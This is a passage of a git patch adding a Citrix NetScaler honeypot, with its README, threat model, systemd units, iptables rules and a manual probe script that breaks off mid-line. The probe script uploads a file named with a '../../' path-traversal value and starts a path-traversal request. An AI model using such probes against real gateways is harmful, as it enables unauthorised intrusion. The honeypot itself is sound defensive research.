From 4491b42714abb8f9111dfd2e742abeffd680229f Mon Sep 17 00:00:00 2001 From: CitrixPot Date: Mon, 28 Sep 2026 19:44:37 +0200 Subject: [PATCH] CitrixPot: NetScaler / Citrix ADC Gateway honeypot (initial public release) --- .env.example | 31 ++ .gitignore | 29 ++ LICENSE | 21 + README.md | 152 ++++++ SECURITY.md | 122 +++++ deploy/VM-ACCESS.md | 58 +++ deploy/cloudflare-ips.txt | 24 + deploy/decoy-cleanup.cron | 5 + deploy/decoy-guest-network.service | 10 + deploy/decoy-ingress.service | 18 + deploy/decoy-network.service | 21 + deploy/decoy-relay.service | 18 + deploy/decoy-viewer.service | 19 + deploy/decoy-watchdog.service | 10 + deploy/decoy.service | 25 + deploy/guest-network.sh | 13 + deploy/manual-test.sh | 54 +++ deploy/provision-pair.sh | 63 +++ deploy/reset-execution.py | 261 +++++++++++ deploy/restrict-pair.py | 51 ++ deploy/vm-config.json | 1 + deploy/watchdog.py | 63 +++ env_file.py | 23 + evidence.py | 92 ++++ guest.py | 175 +++++++ honeypot.py | 728 +++++++++++++++++++++++++++++ ingress_proxy.py | 67 +++ network_capture.py | 289 ++++++++++++ payload_fetch.py | 113 +++++ public_ip.py | 42 ++ test_auth_logging.py | 38 ++ test_capture.py | 75 +++ test_client_ip.py | 40 ++ test_honeypot.py | 184 ++++++++ test_ingress_proxy.py | 50 ++ test_network_capture.py | 100 ++++ test_network_live.py | 148 ++++++ test_payload_fetch.py | 103 ++++ test_private_boundary.py | 57 +++ test_reset.py | 52 +++ test_safety.py | 71 +++ test_viewer.py | 91 ++++ test_vm_backend.py | 107 +++++ test_vm_live.py | 139 ++++++ trusted_proxy.py | 55 +++ ui-preview.png | Bin 0 -> 26106 bytes ui/background.jpg | Bin 0 -> 50806 bytes ui/favicon.ico | Bin 0 -> 32038 bytes ui/login.html | 64 +++ ui/login.js | 24 + ui/logo.png | Bin 0 -> 2300 bytes ui/sources.json | 19 + viewer.py | 309 ++++++++++++ vm_backend.py | 208 +++++++++ 54 files changed, 4532 insertions(+) create mode 100644 .env.example create mode 100644 .gitignore create mode 100644 LICENSE create mode 100644 README.md create mode 100644 SECURITY.md create mode 100644 deploy/VM-ACCESS.md create mode 100644 deploy/cloudflare-ips.txt create mode 100644 deploy/decoy-cleanup.cron create mode 100644 deploy/decoy-guest-network.service create mode 100644 deploy/decoy-ingress.service create mode 100644 deploy/decoy-network.service create mode 100644 deploy/decoy-relay.service create mode 100644 deploy/decoy-viewer.service create mode 100644 deploy/decoy-watchdog.service create mode 100644 deploy/decoy.service create mode 100644 deploy/guest-network.sh create mode 100644 deploy/manual-test.sh create mode 100755 deploy/provision-pair.sh create mode 100644 deploy/reset-execution.py create mode 100755 deploy/restrict-pair.py create mode 100644 deploy/vm-config.json create mode 100644 deploy/watchdog.py create mode 100644 env_file.py create mode 100644 evidence.py create mode 100644 guest.py create mode 100644 honeypot.py create mode 100644 ingress_proxy.py create mode 100644 network_capture.py create mode 100644 payload_fetch.py create mode 100644 public_ip.py create mode 100644 test_auth_logging.py create mode 100644 test_capture.py create mode 100644 test_client_ip.py create mode 100644 test_honeypot.py create mode 100644 test_ingress_proxy.py create mode 100644 test_network_capture.py create mode 100644 test_network_live.py create mode 100644 test_payload_fetch.py create mode 100644 test_private_boundary.py create mode 100644 test_reset.py create mode 100644 test_safety.py create mode 100644 test_viewer.py create mode 100644 test_vm_backend.py create mode 100644 test_vm_live.py create mode 100644 trusted_proxy.py create mode 100644 ui-preview.png create mode 100644 ui/background.jpg create mode 100644 ui/favicon.ico create mode 100644 ui/login.html create mode 100644 ui/login.js create mode 100644 ui/logo.png create mode 100644 ui/sources.json create mode 100644 viewer.py create mode 100644 vm_backend.py diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..4b459c5 --- /dev/null +++ b/.env.example @@ -0,0 +1,31 @@ +# Copy to .env (git-ignored) or set the same names in the systemd EnvironmentFile +# (/etc/decoy.env). Never commit real addresses, keys or credentials. + +# --- Decoy listener (honeypot.py) --- +HONEYPOT_BIND=0.0.0.0 +HONEYPOT_PORT=8443 +# Exact transport IP allowed to speak PROXY v1 (your source-preserving ingress). Empty disables. +HONEYPOT_PROXY_PROTOCOL_FROM= +# Comma-separated CIDRs whose CF-Connecting-IP / X-Forwarded-For may be trusted +# (edge proxy and reverse-proxy hops only). Empty trusts no forwarded headers. +HONEYPOT_TRUSTED_FORWARDED_FROM= +HONEYPOT_LOG_DIR=/var/lib/decoy/http +HONEYPOT_EVIDENCE_MIB=30720 + +# --- Source-preserving ingress (ingress_proxy.py) --- +INGRESS_BIND=127.0.0.1 +INGRESS_PORT=18443 +INGRESS_TARGET=127.0.0.1 +INGRESS_TARGET_PORT=19443 +# CIDRs allowed to open the origin. Empty = any (not recommended for public use). +INGRESS_ALLOW_FROM= + +# --- Local read-only evidence viewer (viewer.py) --- +VIEWER_BIND=127.0.0.1 +VIEWER_PORT=8787 +VIEWER_LOG_DIR=/var/lib/decoy/http +# Extra client IPs to hide (the host's public IP is auto-detected). Comma-separated. +VIEWER_HIDE_IP= + +# --- VM execution backend (optional, isolated guest only) --- +DECOY_VM_CONFIG=/etc/decoy-vm.json diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f4dde27 --- /dev/null +++ b/.gitignore @@ -0,0 +1,29 @@ +# Secrets and local config +.env +.env.* +!.env.example +*.pem +*.key +*.crt +known_hosts +deploy/known_hosts +deploy/*.local + +# Evidence and runtime data (never publish) +logs/ +*/logs/ +artifacts/ +*.bin +*.jsonl +*.pcap + +# Python +__pycache__/ +*.py[cod] +.venv/ +venv/ + +# OS / editor +.DS_Store +Thumbs.db +*.swp diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..7e67859 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 CitrixPot contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..655866f --- /dev/null +++ b/README.md @@ -0,0 +1,152 @@ +# CitrixPot — NetScaler / Citrix ADC Gateway honeypot (CVE-2019-19781, CVE-2026-88771, CVE-2026-88772) + +A self-hosted, dependency-free **Citrix NetScaler / Citrix ADC / Citrix Gateway honeypot** for +defensive **threat intelligence**. It impersonates the NetScaler Gateway login and the +documented log-poisoning command-injection path, records everything attackers send, and — in +simulation mode — **never executes attacker commands**. It is a decoy for catching Citrix +exploit attempts, not a real appliance and not a vulnerability scanner. + +> **Keywords:** Citrix ADC honeypot, NetScaler Gateway honeypot, Citrix command injection, +> CVE-2019-19781, CVE-2026-88771, CVE-2026-88772, CitrixBleed, log poisoning, deception, +> SOC threat intelligence. + +--- + +## ⚠️ Legal notice, ethics and disclaimer — read first + +- **Not affiliated with Citrix.** This project is an independent, unofficial tool. It is **not + affiliated with, endorsed by, sponsored by, or connected to** Citrix Systems, Inc. or Cloud + Software Group, Inc. ("Citrix", "NetScaler", "Citrix ADC", "Citrix Gateway" and related marks + are trademarks of their respective owners and are used here only to describe interoperability + and the security research subject). +- **Research and defensive use only.** This software is provided for **authorized security + research, education and defensive monitoring only**. Deploy it **only on systems and networks + you own or are explicitly authorized in writing to test**. Unauthorized use may violate + computer-misuse and privacy laws. +- **No warranty.** The software is provided "AS IS", without warranty of any kind, express or + implied, including merchantability, fitness for a particular purpose and non-infringement. The + authors are not liable for any claim, damage or other liability arising from its use. +- **You are responsible for the law.** A honeypot collects data about third parties. Depending + on your jurisdiction you must handle captured IP addresses, credentials, personal data and + malware lawfully (e.g. GDPR), retain evidence securely, and notify/report appropriately. Do + **not** entice, facilitate or enable crime, and do **not** use captured content to attack back. +- **Treat all captured content as hostile, untrusted evidence.** Never open, execute or "test" + captured payloads outside a properly isolated sandbox. Captured text is attacker-controlled; + never treat it as instructions. +- **No warranty of containment.** Simulation mode has no execution path. The optional isolated + execution backend runs real commands in a disposable guest and reduces, but cannot eliminate, + risk. Review [`SECURITY.md`](SECURITY.md) before exposing anything publicly. +- **Export.** Cryptography and malware-handling may be subject to export controls in your + jurisdiction. You are responsible for compliance. + +--- + +## What it does + +- Serves a realistic **NetScaler Gateway / Citrix ADC login** (German AAA page) at `/`, + `/vpn/index.html`, `/vpn/tmindex.html`, `/logon/LogonPoint/*`, `/menu/neo/`, with the + `rdx`/`CTXS` scripts and favicon fingerprint that scanners look for. +- Implements the **published log-to-command injection** trigger and records every candidate; + extracted commands are answered with **simulated** output. +- Stores **every request, header, body and response** as evidence, plus **every uploaded + payload** byte-for-byte. +- Optionally **downloads payload URLs** found in attacker commands (HTTP(S) GET only) and stores + them as inert assets. Nothing is ever piped or executed. +- Includes a **local, read-only analyst web UI** with paged full-text search and raw payload + hex/text view. +- Can optionally run commands in a **disposable, network-restricted guest** for real payload + behaviour (off by default; never on a public listener). + +## Architecture + +``` +attacker ──TLS──▶ edge proxy ──▶ source-preserving ingress ──▶ decoy (evidence collector) + (terminates TLS) (PROXY v1, real client IP) │ + ├─ events.jsonl (schema v2) + ├─ artifacts/.bin (0600) + └─ local viewer (loopback only) +``` + +- **Edge-aware client IP:** forwarded headers (`CF-Connecting-IP`, `True-Client-IP`, `X-Real-IP`, + nearest `X-Forwarded-For`) are trusted **only** from configured hops, so you record the real + attacker IP, not the proxy's. +- **Fail-closed:** at the evidence quota or on disk failure the decoy stops rather than + overwriting evidence. + +## Quickstart (simulator — safe to expose) + +Requires only Python 3.10+ (standard library); no third-party packages. + +```sh +git clone citrixpot && cd citrixpot +cp .env.example .env # edit to taste +python3 test_honeypot.py # run the test suite +set -a; . ./.env; set +a +python3 honeypot.py & # decoy on http://127.0.0.1:8443 +python3 viewer.py # analyst UI on http://127.0.0.1:8787 +``` + +No commands are executed in this mode; commands are parsed, logged and answered with canned +output, and uploads are stored as inert artifacts. + +## Configuration + +All settings come from the environment (or a `.env` file / systemd `EnvironmentFile`). See +[`.env.example`](.env.example). Key variables: + +| Variable | Purpose | +|---|---| +| `HONEYPOT_BIND`, `HONEYPOT_PORT` | decoy listen address/port | +| `HONEYPOT_PROXY_PROTOCOL_FROM` | transport IP allowed to send PROXY v1 (your ingress) | +| `HONEYPOT_TRUSTED_FORWARDED_FROM` | edge/proxy hops whose client-IP headers may be trusted | +| `HONEYPOT_LOG_DIR`, `HONEYPOT_EVIDENCE_MIB` | evidence directory and quota | +| `INGRESS_BIND`, `INGRESS_PORT`, `INGRESS_ALLOW_FROM` | source-preserving ingress and allowlist | +| `VIEWER_BIND`, `VIEWER_PORT`, `VIEWER_HIDE_IP` | local analyst UI and hidden operator IPs | + +## Evidence and analyst UI + +- `events.jsonl` — append-only JSONL journal (`schema_version: 2`) with UTC timestamps, request/ + session IDs, socket source IP/port, durations and status. +- `artifacts/.bin` — exact payload bytes, deduplicated, `0600` in a `0700` directory. +- Event types include `request`, `request_body`, `response*`, `upload*`, `form_fields`, + `injection_candidate`, `simulated_command`/`unsupported`, `outbound_attempt`, + `exploit_attempt` (labelled `CVE-2019-19781`, `path-traversal`, `config-read`, + `management-probe`), `auth_attempt`, `brute_force_suspected` and `payload_download`. + +The viewer is **read-only and loopback-only** by default; reach it over an SSH tunnel. It filters +out your own public IP automatically (refreshed every 30 minutes) so operator traffic stays out +of the analysis. + +## Optional: isolated execution mode + +For real payload behaviour, an opt-in backend runs commands in a **disposable, network-restricted +guest**. It requires **both** `--vm-config ` and `--allow-real-execution`, and must never be +enabled on an internet-facing listener. See [`SECURITY.md`](SECURITY.md) and +[`deploy/`](deploy/). + +## Public deployment + +1. Terminate TLS at an edge proxy (for example Cloudflare in front of Nginx Proxy Manager). +2. Forward to the source-preserving ingress and set `INGRESS_ALLOW_FROM` and + `HONEYPOT_TRUSTED_FORWARDED_FROM` to your edge hop(s) so the real client IP is captured. +3. Firewall the origin port so only the edge proxy and host can reach it. +4. Keep simulation mode on; monitor the evidence quota. + +See [`deploy/VM-ACCESS.md`](deploy/VM-ACCESS.md) for a deployment template. + +## Tests + +```sh +python3 test_honeypot.py python3 test_capture.py python3 test_safety.py +python3 test_payload_fetch.py test_client_ip.py test_viewer.py test_auth_logging.py +python3 test_ingress_proxy.py test_network_capture.py test_reset.py test_vm_backend.py +``` + +## Acknowledgements + +Informed by public analysis of the Citrix NetScaler log-poisoning command injection; see the +watchTowr write-up referenced in the community discussion of the 2026 NetScaler issue. + +## License + +MIT — see [`LICENSE`](LICENSE). Trademarks belong to their respective owners. diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..55c1047 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,122 @@ +# Security model and threat model + +This is a deliberately attacked system. Everything here is designed so that an +attacker who "exploits" the decoy can **upload files, run commands and receive +plausible output without doing anything real** to the collector or the host. + +## Two execution modes + +| Mode | Default | What happens to attacker commands | +|------|---------|-----------------------------------| +| `simulation` | yes | Parsed, logged and answered with canned output. **Never executed. No shell, no syscalls, no sockets.** | +| `disposable_vm` | no | Real `bash` runs inside disposable VM223. Requires both `--vm-config` and `--allow-real-execution`. | + +The simulator is pure Python dict manipulation (`simulate()`); it has no path to +`os.system`, `subprocess`, `eval` or a real filesystem path. Uploaded bodies are +stored as inert `0600` content-addressed blobs. This is the safe mode for an +internet-facing listener and is what `deploy/decoy.service` runs. + +The VM mode exists for private labs that want to observe real payload behaviour. +It must **not** be enabled on a public listener. The two-flag gate above makes +accidental activation impossible, and the process logs a loud warning plus +`real_execution: true` in the start event. + +## Isolation of the disposable execution guest (VM223) + +- QEMU user networking with `restrict=on`; **no bridge NIC**, so the guest + cannot reach the LAN, the management network or the internet directly. +- **No host mounts, no shared folders, no 9p, no virtiofs, no SPICE.** The only + block device is the guest's own discardable disk. +- Guest TCP is redirected (iptables `REDIRECT`) to a local relay that speaks only + to the outside recording broker. A separate guestfwd path reaches the broker; + the broker is the sole policy point for every outbound connection. +- The broker allows public IPv4 `80/443` unconditionally and other ports only to + recently observed attacker peers. Private, loopback, metadata and LAN + destinations are denied. DNS returns public A records only. +- The guest is reset every hour: disk is archived to a validated qcow2 and + rolled back to `decoy-clean`; unflushed RAM is discarded. +- A host watchdog stops VM223 on pcap quota, disk/thin-pool reserve, collector + service failure or a STOP latch. STOP is never auto-cleared. +- Collector→guest SSH uses a dedicated key whose `authorized_keys` entry is + restricted with `no-agent-forwarding,no-port-forwarding,no-X11-forwarding`. +- Packet capture lives on the host (`execution.pcap`, 512-byte prefixes), so it + survives guest tampering. + +Residual risk in VM mode is a QEMU/KVM or guest-kernel escape. Keep the +hypervisor patched, never enable VM mode on a public listener, and treat the +guest disk and pcap as untrusted binary evidence. + +## Collector isolation + +`decoy.service` runs under systemd with `ProtectSystem=strict`, +`NoNewPrivileges`, `PrivateTmp`, `RestrictAddressFamilies`, `MemoryMax` and +`TasksMax`, writing only under `/var/lib/decoy` (root-only, `0700`). The ingress +proxy runs as a `DynamicUser` with no capabilities. The local viewer is +loopback-only and read-only. + +## Real client IP behind the edge + +The decoy never trusts attacker-supplied `X-Forwarded-For`. Forwarded client +headers (`CF-Connecting-IP`, `True-Client-IP`, `X-Real-IP`, then the nearest +`X-Forwarded-For` hop) are honoured **only** when the connecting hop is inside a +configured trusted network (`--trusted-forwarded-from`, e.g. Cloudflare's +published ranges plus loopback). The real client IP is recorded as `peer`; the +proxy hop is retained separately as `proxy_peer`. Spoofed private/reserved +addresses are rejected. + +## Logging guarantee (capture everything) + +Every request is journaled in full and its bytes are stored, so nothing depends on +the decoy recognising it: + +- `request` records method, raw URI and every raw header (including `User-Agent`). +- `request_body` stores the exact raw body bytes as a content-addressed artifact for + every request; multipart parts become `upload` events, other bodies + `upload_or_raw_payload`, form posts `form_fields`. Filenames are metadata only. +- `response` / `response_sent` store the bytes returned. +- `request_end` stores the exact HTTP bytes the parser consumed, even for malformed, + partial or rejected requests. +- Log-poisoning candidates become `injection_candidate`; each extracted command is + then `simulated_command`/`unsupported` (with argv, cwd and output) or, in VM mode, + `execution_*` plus `guest_stdout`/`guest_syscalls_stderr`/`guest_file_*`. +- Known Citrix exploit indicators are additionally labelled `exploit_attempt` + (`CVE-2019-19781`, `path-traversal`, `config-read`, `management-probe`). This is a + convenience label on top of the full capture, not a filter — unflagged requests + are still stored. + +Uploaded payloads are inert evidence on the collector and are never executed there. + +## Evidence + +The append-only JSONL journal and content-addressed blobs are `0600` under a +`0700` directory. The service fails closed and exits non-zero when the evidence +quota or disk fails, rather than dropping or overwriting records. Uploaded files +are never executed by the collector and are never copied into a guest. + +## Reporting boundary + +No reporting UI is served on the attacker listener. The evidence viewer is a +separate loopback-only process reached over SSH port-forwarding. Do not add +reporting routes to the decoy listener. + +## Public exposure checklist + +1. Keep the listener in `simulation` mode. +2. Put an edge proxy (Cloudflare) in front; pass the original client IP via + `CF-Connecting-IP` and configure `--trusted-forwarded-from` with the edge + ranges (`deploy/cloudflare-ips.txt`). +3. Origin must only accept traffic from the edge; do not expose the origin + directly. +4. Terminate TLS at the edge so the decoy sees HTTP and can read headers. +5. Keep the STOP latch and watchdog enabled; archive evidence before clearing it. + +## Audit notes (2026-09-28) + +- Verified the simulator contains no command-execution path. +- Found the deployed collector running `--vm-config` (real execution). Hardened: + `--vm-config` now also requires `--allow-real-execution`; the deployed unit was + switched to simulation-only; a loud startup warning is emitted in VM mode. +- Verified VM223 has no host mounts, no bridge, `restrict=on`, and a locked-down + management key. +- Added trusted-edge client-IP extraction with spoof rejection. +- Added the loopback-only read-only viewer and its hardened systemd unit. diff --git a/deploy/VM-ACCESS.md b/deploy/VM-ACCESS.md new file mode 100644 index 0000000..77fa3bc --- /dev/null +++ b/deploy/VM-ACCESS.md @@ -0,0 +1,58 @@ +# Deployment notes (template) + +Replace every `<...>` placeholder with your own values. Keep real addresses and keys out of +the repository; put them in `/etc/decoy.env` (see `.env.example`) or your own secret store. + +## Topology + +- Proxmox host: `` (management network, not public). +- Collector VM: stores evidence and serves the decoy. QEMU user networking only, no bridge NIC. +- Execution VM (optional): disposable, isolated guest for real payload behaviour. Requires + `restrict=on`, no bridge NIC, no host mounts, and must never be enabled on a public listener. +- Edge proxy (e.g. Nginx Proxy Manager on ``): terminates TLS and forwards to a + source-preserving ingress on the Proxmox host. + +## Source-preserving ingress + +`ingress_proxy.py` accepts a TCP connection and prepends a PROXY-v1 header (the real client +address) before the decoy reads any bytes. Restrict who may reach it: + +``` +INGRESS_BIND= +INGRESS_PORT=18443 +INGRESS_TARGET=127.0.0.1 +INGRESS_TARGET_PORT=19443 +INGRESS_ALLOW_FROM=,127.0.0.1, +``` + +At the decoy, trust only the edge hop for client-IP headers: + +``` +HONEYPOT_PROXY_PROTOCOL_FROM= # e.g. 10.0.2.2 for QEMU user networking +HONEYPOT_TRUSTED_FORWARDED_FROM=,127.0.0.1 +``` + +Add a host firewall rule so only the edge proxy and the host itself can reach the origin port. +Example (adapt to your firewall tooling): + +``` +iptables -N DECOY-ORIGIN +iptables -A DECOY-ORIGIN -i lo -j RETURN +iptables -A DECOY-ORIGIN -s -j RETURN +iptables -A DECOY-ORIGIN -s -j RETURN +iptables -A DECOY-ORIGIN -j DROP +iptables -I INPUT 1 -p tcp --dport 18443 -j DECOY-ORIGIN +``` + +## Management access + +Use your own SSH keys and a jump host. Do not enable agent/X11/port forwarding on the +management key (`no-agent-forwarding,no-port-forwarding,no-X11-forwarding`). + +## Operational notes + +- QEMU `filter-dump` truncates its pcap on guest start; archive it before restarting the + execution VM. +- The decoy is fail-closed: when the evidence quota or disk fails it stops rather than + overwriting. Archive evidence before restarting. +- Never enable real command execution on an internet-facing listener. diff --git a/deploy/cloudflare-ips.txt b/deploy/cloudflare-ips.txt new file mode 100644 index 0000000..2e3119b --- /dev/null +++ b/deploy/cloudflare-ips.txt @@ -0,0 +1,24 @@ +# Cloudflare published edge ranges (https://www.cloudflare.com/ips). Refresh periodically. +# Only hops inside these networks may set CF-Connecting-IP / X-Forwarded-For for the decoy. +173.245.48.0/20 +103.21.244.0/22 +103.22.200.0/22 +103.31.4.0/22 +141.101.64.0/18 +108.162.192.0/18 +190.93.240.0/20 +188.114.96.0/20 +197.234.240.0/22 +198.41.128.0/17 +162.158.0.0/15 +104.16.0.0/13 +104.24.0.0/14 +172.64.0.0/13 +131.0.72.0/22 +2400:cb00::/32 +2606:4700::/32 +2803:f800::/32 +2405:b500::/32 +2405:8100::/32 +2a06:98c0::/29 +2c0f:f248::/32 diff --git a/deploy/decoy-cleanup.cron b/deploy/decoy-cleanup.cron new file mode 100644 index 0000000..fe8fa51 --- /dev/null +++ b/deploy/decoy-cleanup.cron @@ -0,0 +1,5 @@ +# Hourly disposable VM223 reset. Evidence is archived, never automatically pruned. +# Stop intake/VM and require operator review when archive budget/reserve is reached. +SHELL=/bin/sh +PATH=/usr/sbin:/usr/bin:/sbin:/bin +0 * * * * root /usr/bin/python3 /opt/decoy-ingress/reset-execution.py --run >> /var/lib/vz/honeypot/reset-cron.log 2>&1 diff --git a/deploy/decoy-guest-network.service b/deploy/decoy-guest-network.service new file mode 100644 index 0000000..f1b1c48 --- /dev/null +++ b/deploy/decoy-guest-network.service @@ -0,0 +1,10 @@ +[Unit] +Description=Redirect disposable guest TCP to recording relay +After=network-online.target +Before=decoy-relay.service +[Service] +Type=oneshot +ExecStart=/bin/sh /opt/decoy/guest-network.sh +RemainAfterExit=true +[Install] +WantedBy=multi-user.target diff --git a/deploy/decoy-ingress.service b/deploy/decoy-ingress.service new file mode 100644 index 0000000..a410d75 --- /dev/null +++ b/deploy/decoy-ingress.service @@ -0,0 +1,18 @@ +[Unit] +Description=Source-preserving ingress for the NetScaler decoy +After=network-online.target +[Service] +EnvironmentFile=/etc/decoy.env +DynamicUser=yes +# --allow-from limits who may reach the origin to the edge proxy and trusted hops (see .env). +ExecStart=/usr/bin/python3 /opt/decoy-ingress/ingress_proxy.py --bind=${INGRESS_BIND} --port=${INGRESS_PORT} --target=${INGRESS_TARGET} --target-port=${INGRESS_TARGET_PORT} --allow-from=${INGRESS_ALLOW_FROM} +Restart=on-failure +NoNewPrivileges=true +PrivateTmp=true +ProtectSystem=strict +ProtectHome=true +RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX +MemoryMax=128M +TasksMax=32 +[Install] +WantedBy=multi-user.target diff --git a/deploy/decoy-network.service b/deploy/decoy-network.service new file mode 100644 index 0000000..0b9466e --- /dev/null +++ b/deploy/decoy-network.service @@ -0,0 +1,21 @@ +[Unit] +Description=External recording and policy relay for disposable execution VM +After=network-online.target +[Service] +ExecStart=/usr/bin/python3 /opt/decoy/network_capture.py --role broker --quota-mib 2048 --listen 0.0.0.0 --port 19090 --evidence /var/lib/decoy/network --peers /var/lib/decoy/allowed-peers.json +WorkingDirectory=/opt/decoy +UMask=0077 +Restart=no +NoNewPrivileges=true +PrivateTmp=true +ProtectSystem=strict +ReadWritePaths=/var/lib/decoy +ProtectHome=true +ProtectKernelTunables=true +ProtectKernelModules=true +ProtectControlGroups=true +RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX +MemoryMax=384M +TasksMax=128 +[Install] +WantedBy=multi-user.target diff --git a/deploy/decoy-relay.service b/deploy/decoy-relay.service new file mode 100644 index 0000000..523014d --- /dev/null +++ b/deploy/decoy-relay.service @@ -0,0 +1,18 @@ +[Unit] +Description=Disposable guest transparent TCP and DNS relay +After=network-online.target +[Service] +User=decoy-relay +ExecStart=/usr/bin/python3 /opt/decoy/network_capture.py --role relay --listen 127.0.0.1 --port 15001 --broker 10.0.2.100 --broker-port 19090 --dns-port 53 +Restart=on-failure +AmbientCapabilities=CAP_NET_BIND_SERVICE +CapabilityBoundingSet=CAP_NET_BIND_SERVICE +NoNewPrivileges=true +PrivateTmp=true +ProtectSystem=strict +ProtectHome=true +RestrictAddressFamilies=AF_INET AF_UNIX +MemoryMax=256M +TasksMax=128 +[Install] +WantedBy=multi-user.target diff --git a/deploy/decoy-viewer.service b/deploy/decoy-viewer.service new file mode 100644 index 0000000..54d9533 --- /dev/null +++ b/deploy/decoy-viewer.service @@ -0,0 +1,19 @@ +[Unit] +Description=Local read-only honeypot evidence viewer (loopback only) +After=network-online.target +[Service] +EnvironmentFile=/etc/decoy.env +ExecStart=/usr/bin/python3 /opt/decoy/viewer.py --bind=${VIEWER_BIND} --port=${VIEWER_PORT} --log-dir=${VIEWER_LOG_DIR} --hide-ip=${VIEWER_HIDE_IP} +WorkingDirectory=/opt/decoy +UMask=0077 +NoNewPrivileges=true +PrivateTmp=true +ProtectSystem=strict +ProtectHome=true +ReadOnlyPaths=/var/lib/decoy +RestrictAddressFamilies=AF_INET +MemoryMax=256M +TasksMax=32 +Restart=no +[Install] +WantedBy=multi-user.target diff --git a/deploy/decoy-watchdog.service b/deploy/decoy-watchdog.service new file mode 100644 index 0000000..096a633 --- /dev/null +++ b/deploy/decoy-watchdog.service @@ -0,0 +1,10 @@ +[Unit] +Description=Stop disposable execution VM on capture failure or quota +After=pve-guests.service +[Service] +ExecStart=/usr/bin/python3 /opt/decoy-ingress/watchdog.py +Restart=always +RestartSec=2 +UMask=0077 +[Install] +WantedBy=multi-user.target diff --git a/deploy/decoy.service b/deploy/decoy.service new file mode 100644 index 0000000..64a3198 --- /dev/null +++ b/deploy/decoy.service @@ -0,0 +1,25 @@ +[Unit] +Description=NetScaler decoy HTTP and evidence collector +After=network-online.target decoy-network.service +Requires=decoy-network.service +[Service] +EnvironmentFile=/etc/decoy.env +# Simulation only: attacker commands are parsed, stored and answered, never executed. +# Real execution additionally requires --vm-config + --allow-real-execution and an isolated guest; +# never enable it on an internet-facing listener. All values come from /etc/decoy.env. +ExecStart=/usr/bin/python3 /opt/decoy/honeypot.py --bind=${HONEYPOT_BIND} --port=${HONEYPOT_PORT} --proxy-protocol-from=${HONEYPOT_PROXY_PROTOCOL_FROM} --hide-guest-files --trusted-forwarded-from=${HONEYPOT_TRUSTED_FORWARDED_FROM} --fetch-payloads --log-dir=${HONEYPOT_LOG_DIR} --evidence-mib=${HONEYPOT_EVIDENCE_MIB} +WorkingDirectory=/opt/decoy +UMask=0077 +Restart=no +NoNewPrivileges=true +PrivateTmp=true +ProtectSystem=strict +ReadWritePaths=/var/lib/decoy +ProtectKernelTunables=true +ProtectKernelModules=true +ProtectControlGroups=true +RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX +MemoryMax=768M +TasksMax=128 +[Install] +WantedBy=multi-user.target diff --git a/deploy/guest-network.sh b/deploy/guest-network.sh new file mode 100644 index 0000000..f04ff11 --- /dev/null +++ b/deploy/guest-network.sh @@ -0,0 +1,13 @@ +#!/bin/sh +set -eu +[ -f /etc/decoy-disposable-guest ] +id decoy-relay >/dev/null 2>&1 || useradd --system --no-create-home --shell /usr/sbin/nologin decoy-relay +ip route replace default via 10.0.2.2 +iptables -t nat -N DECOY 2>/dev/null || true +iptables -t nat -F DECOY +iptables -t nat -A DECOY -m owner --uid-owner decoy-relay -j RETURN +iptables -t nat -A DECOY -d 127.0.0.0/8 -j RETURN +iptables -t nat -A DECOY -d 10.0.2.100/32 -j RETURN +iptables -t nat -A DECOY -p tcp -j REDIRECT --to-ports 15001 +iptables -t nat -C OUTPUT -p tcp -j DECOY 2>/dev/null || iptables -t nat -A OUTPUT -p tcp -j DECOY +printf 'nameserver 127.0.0.1\noptions timeout:2 attempts:1\n' > /etc/resolv.conf diff --git a/deploy/manual-test.sh b/deploy/manual-test.sh new file mode 100644 index 0000000..a072c86 --- /dev/null +++ b/deploy/manual-test.sh @@ -0,0 +1,54 @@ +#!/usr/bin/env bash +# Manual end-to-end probe of a deployed decoy. Read-only: every request is recorded as +# evidence; nothing is executed. Configure via environment (see .env.example). +# BASE_URL e.g. http://127.0.0.1:8443 or https://your-decoy.example +# HOST_HEADER Host header the edge proxy routes on (default: localhost) +set -u +B=${1:-${BASE_URL:-http://127.0.0.1:8443}} +H="Host: ${HOST_HEADER:-localhost}" +printf '\000\377MZ-inert-manual-payload\r\n' > /tmp/manual-payload.bin +printf -- '--testboundary\r\nContent-Disposition: form-data; name="file"; filename="../../manual-multipart.bin"\r\nContent-Type: application/octet-stream\r\n\r\nINERT-MULTIPART-BODY\r\n--testboundary--\r\n' > /tmp/manual-multipart.bin + +code() { + local label=$1; shift + printf '%-42s -> %s\n' "$label" "$(curl -sS --max-time 10 -o /dev/null -w '%{http_code} %{size_download}b' "$@")" +} + +echo "== target $B ==" +code "GET / (login page)" -H "$H" "$B/" +code "GET /favicon.ico" -H "$H" "$B/favicon.ico" +code "GET background.jpg" -H "$H" "$B/logon/LogonPoint/receiver/images/common/ReceiverFullScreenBackground.jpg" +code "GET logo.png" -H "$H" "$B/vpn/media/citrixgateway_logo_white.png" +code "GET login.js" -H "$H" "$B/logon/LogonPoint/login.js" +code "HEAD /" -I -H "$H" "$B/" +code "GET /nonexistent" -H "$H" "$B/nonexistent" +code "GET path traversal" --path-as-is -H 